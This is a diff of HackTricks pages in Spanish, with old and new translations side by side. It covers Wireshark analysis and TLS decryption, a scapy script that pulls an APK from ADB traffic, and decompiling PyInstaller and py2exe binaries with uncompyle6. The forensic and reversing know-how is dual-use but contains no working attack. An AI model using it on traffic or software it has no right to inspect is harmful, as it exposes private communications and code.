* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Trucos de Wireshark # Wireshark tricks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
@ -41,45 +42,45 @@ Los siguientes tutoriales son increíbles para aprender algunos trucos básicos
### Información Analizada ### Información Analizada
**Información de Expertos** **Información Experta**
Al hacer clic en _**Analyze** --> **Expert Information**_ tendrás una **visión general** de lo que está sucediendo en los paquetes **analizados**: Al hacer clic en _**Analizar** --> **Información Experta**_ tendrás una **visión general** de lo que está sucediendo en los paquetes **analizados**:
![](<../../../.gitbook/assets/image (256).png>) ![](<../../../.gitbook/assets/image (256).png>)
**Direcciones Resueltas** **Direcciones Resueltas**
Bajo _**Statistics --> Resolved Addresses**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark, como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación. Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark, como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación.
![](<../../../.gitbook/assets/image (893).png>) ![](<../../../.gitbook/assets/image (893).png>)
**Jerarquía de Protocolos** **Jerarquía de Protocolos**
Bajo _**Statistics --> Protocol Hierarchy**_ puedes encontrar los **protocolos** **involucrados** en la comunicación y datos sobre ellos. Bajo _**Estadísticas --> Jerarquía de Protocolos**_ puedes encontrar los **protocolos** **involucrados** en la comunicación y datos sobre ellos.
![](<../../../.gitbook/assets/image (586).png>) ![](<../../../.gitbook/assets/image (586).png>)
**Conversaciones** **Conversaciones**
Bajo _**Statistics --> Conversations**_ puedes encontrar un **resumen de las conversaciones** en la comunicación y datos sobre ellas. Bajo _**Estadísticas --> Conversaciones**_ puedes encontrar un **resumen de las conversaciones** en la comunicación y datos sobre ellas.
![](<../../../.gitbook/assets/image (453).png>) ![](<../../../.gitbook/assets/image (453).png>)
**Puntos Finales** **Puntos Finales**
Bajo _**Statistics --> Endpoints**_ puedes encontrar un **resumen de los puntos finales** en la comunicación y datos sobre cada uno de ellos. Bajo _**Estadísticas --> Puntos Finales**_ puedes encontrar un **resumen de los puntos finales** en la comunicación y datos sobre cada uno de ellos.
![](<../../../.gitbook/assets/image (896).png>) ![](<../../../.gitbook/assets/image (896).png>)
**Información de DNS** **Información DNS**
Bajo _**Statistics --> DNS**_ puedes encontrar estadísticas sobre la solicitud de DNS capturada. Bajo _**Estadísticas --> DNS**_ puedes encontrar estadísticas sobre la solicitud DNS capturada.
![](<../../../.gitbook/assets/image (1063).png>) ![](<../../../.gitbook/assets/image (1063).png>)
**Gráfico de E/S** **Gráfico I/O**
Bajo _**Statistics --> I/O Graph**_ puedes encontrar un **gráfico de la comunicación**. Bajo _**Estadísticas --> Gráfico I/O**_ puedes encontrar un **gráfico de la comunicación.**
![](<../../../.gitbook/assets/image (992).png>) ![](<../../../.gitbook/assets/image (992).png>)
@ -89,35 +90,35 @@ Aquí puedes encontrar filtros de Wireshark dependiendo del protocolo: [https://
Otros filtros interesantes: Otros filtros interesantes:
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* Tráfico HTTP e HTTPS inicial * Tráfico HTTP y HTTPS inicial
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* Tráfico HTTP e HTTPS inicial + SYN TCP * Tráfico HTTP y HTTPS inicial + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* Tráfico HTTP e HTTPS inicial + SYN TCP + solicitudes DNS * Tráfico HTTP y HTTPS inicial + TCP SYN + solicitudes DNS
### Búsqueda ### Búsqueda
Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (N.º, Hora, Origen, etc.) presionando el botón derecho y luego editar columna. Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna.
### Laboratorios pcap gratuitos ### Laboratorios pcap gratuitos
**Practica con los desafíos gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) **Practica con los desafíos gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)
## Identificación de Dominios ## Identificando Dominios
Puedes agregar una columna que muestre el encabezado Host HTTP: Puedes agregar una columna que muestre el encabezado HTTP del Host:
![](<../../../.gitbook/assets/image (639).png>) ![](<../../../.gitbook/assets/image (639).png>)
Y una columna que agregue el nombre del servidor desde una conexión HTTPS inicial (**ssl.handshake.type == 1**): Y una columna que agregue el nombre del Servidor de una conexión HTTPS iniciadora (**ssl.handshake.type == 1**):
![](<../../../.gitbook/assets/image (408) (1).png>) ![](<../../../.gitbook/assets/image (408) (1).png>)
## Identificación de nombres de host locales ## Identificando nombres de host locales
### Desde DHCP ### Desde DHCP
En el Wireshark actual en lugar de `bootp` debes buscar `DHCP` En la versión actual de Wireshark, en lugar de `bootp` necesitas buscar `DHCP`
![](<../../../.gitbook/assets/image (1013).png>) ![](<../../../.gitbook/assets/image (1013).png>)
@ -125,19 +126,19 @@ En el Wireshark actual en lugar de `bootp` debes buscar `DHCP`
![](<../../../.gitbook/assets/image (1003).png>) ![](<../../../.gitbook/assets/image (1003).png>)
## Descifrado de TLS ## Desencriptando TLS
### Descifrado de tráfico https con clave privada del servidor ### Desencriptando tráfico https con la clave privada del servidor
_editar>preferencias>protocolo>ssl>_ _edit>preferencia>protocolo>ssl>_
![](<../../../.gitbook/assets/image (1103).png>) ![](<../../../.gitbook/assets/image (1103).png>)
Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, Puerto, Protocolo, Archivo de clave y contraseña_) Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, Puerto, Protocolo, Archivo de clave y contraseña_)
### Descifrado de tráfico https con claves de sesión simétricas ### Desencriptando tráfico https con claves de sesión simétricas
Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que pueden ser utilizadas con Wireshark para descifrar el tráfico TLS. Esto permite un análisis detallado de las comunicaciones seguras. Se puede encontrar más detalles sobre cómo realizar este descifrado en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que se pueden usar con Wireshark para desencriptar tráfico TLS. Esto permite un análisis profundo de las comunicaciones seguras. Más detalles sobre cómo realizar esta desencriptación se pueden encontrar en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
Para detectar esto, busca dentro del entorno la variable `SSLKEYLOGFILE` Para detectar esto, busca dentro del entorno la variable `SSLKEYLOGFILE`
@ -145,12 +146,13 @@ Un archivo de claves compartidas se verá así:
![](<../../../.gitbook/assets/image (820).png>) ![](<../../../.gitbook/assets/image (820).png>)
Para importar esto en Wireshark ve a \_editar > preferencias > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename: Para importar esto en Wireshark, ve a \_editar > preferencia > protocolo > ssl > e impórtalo en el nombre de archivo de registro de (Pre)-Master-Secret:
![](<../../../.gitbook/assets/image (989).png>) ![](<../../../.gitbook/assets/image (989).png>)
## Comunicación ADB ## Comunicación ADB
Extraer un APK de una comunicación ADB donde se envió el APK: Extrae un APK de una comunicación ADB donde se envió el APK:
```python ```python
from scapy.all import * from scapy.all import *
@ -181,24 +183,25 @@ f.close()
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Descompilar binarios de Python compilados (exe, elf) - Recuperar desde .pyc # Decompilar binarios de python compilados (exe, elf) - Recuperar de .pyc
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Desde Binario Compilado a .pyc ## De binario compilado a .pyc
Desde un binario compilado **ELF** puedes **obtener el .pyc** con: De un binario compilado **ELF** puedes **obtener el .pyc** con:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,19 +42,19 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
En un **binario exe de Python** compilado puedes **obtener el .pyc** ejecutando: En un **python exe binary** compilado puedes **obtener el .pyc** ejecutando:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## De .pyc a código de Python ## From .pyc to python code
Para los datos de **.pyc** ("compilados" de Python) debes comenzar intentando **extraer** el **código de Python** **original**: Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (de lo contrario, uncompyle6 no funcionará) **Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar)
Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**: Mientras ejecutas **uncompyle6** podrías encontrar los **siguientes errores**:
### Error: Número mágico desconocido 227 ### Error: Número mágico desconocido 227
```bash ```bash
@ -62,17 +63,17 @@ Unknown magic number 227 in /tmp/binary.pyc
``` ```
Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado. Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado.
**Los números mágicos varían con la versión de Python**, para obtener el número mágico de **Python 3.8** necesitarás **abrir un terminal de Python 3.8** y ejecutar: **Los números mágicos varían según la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, luego, para corregir este error necesitarás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000` El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para corregir este error necesitarás **agregar** al **principio** del **.pyc file** los siguientes bytes: `0x0d550a0d000000000000000000000000`
**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.** **Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.**
Así es como se verá un **encabezado mágico .pyc de python3.8** correctamente agregado: Así es como se verá un **.pyc python3.8 magic header** correctamente agregado:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### Error: Errores de decompilación genéricos ### Error: Decompilación de errores genéricos
**Otros errores** como: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` pueden aparecer. **Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); es tipo <class 'NoneType'>` pueden aparecer.
Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o intenta con uno nuevo). Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que **asegúrate de usar el correcto** (o prueba uno nuevo).
Verifica la documentación del error anterior. Consulta la documentación de errores anterior.
## Herramienta Automática ## Herramienta Automática
La herramienta [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación. La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación.
### ImportError: Nombre del archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe ### ImportError: Nombre de archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
Un problema común encontrado implica un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a la falta de un número de versión de bytecode de Python**. Para abordar esto, se ha añadido una opción de prepend, que añade el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación. Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación.
Ejemplo del problema: Ejemplo del problema:
```python ```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Analizando el ensamblado de Python ## Análisis de ensamblaje de python
Si no pudiste extraer el código "original" de Python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblado** (pero **no es muy descriptivo**, así que intenta extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de Python2, utiliza python2: Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -161,13 +162,13 @@ True
``` ```
## Python a Ejecutable ## Python a Ejecutable
Para empezar, vamos a mostrarte cómo los payloads pueden ser compilados en py2exe y PyInstaller. Para comenzar, vamos a mostrarte cómo se pueden compilar los payloads en py2exe y PyInstaller.
### Para crear un payload usando py2exe: ### Para crear un payload usando py2exe:
1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org) 1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org)
2. Para el payload (en este caso, lo nombraremos hello.py), utiliza un script como el que se muestra en la Figura 1. La opción "bundle\_files" con el valor de 1 empaquetará todo, incluido el intérprete de Python, en un solo ejecutable. 2. Para el payload (en este caso, lo llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle\_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe.
3. Una vez que el script esté listo, emitiremos el comando "python setup.py py2exe". Esto creará el ejecutable, tal como se muestra en la Figura 2. 3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -197,8 +198,8 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### Para crear un payload usando PyInstaller: ### Para crear un payload usando PyInstaller:
1. Instalar PyInstaller usando pip (pip install pyinstaller). 1. Instala PyInstaller usando pip (pip install pyinstaller).
2. Después de eso, emitiremos el comando "pyinstaller --onefile hello.py" (un recordatorio de que 'hello.py' es nuestro payload). Esto empaquetará todo en un ejecutable. 2. Después de eso, emitiremos el comando “pyinstaller onefile hello.py” (un recordatorio de que hello.py es nuestro payload). Esto empaquetará todo en un solo ejecutable.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**! **Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Artefactos del Navegador # Artefactos del Navegador
{% hint style="success" %}
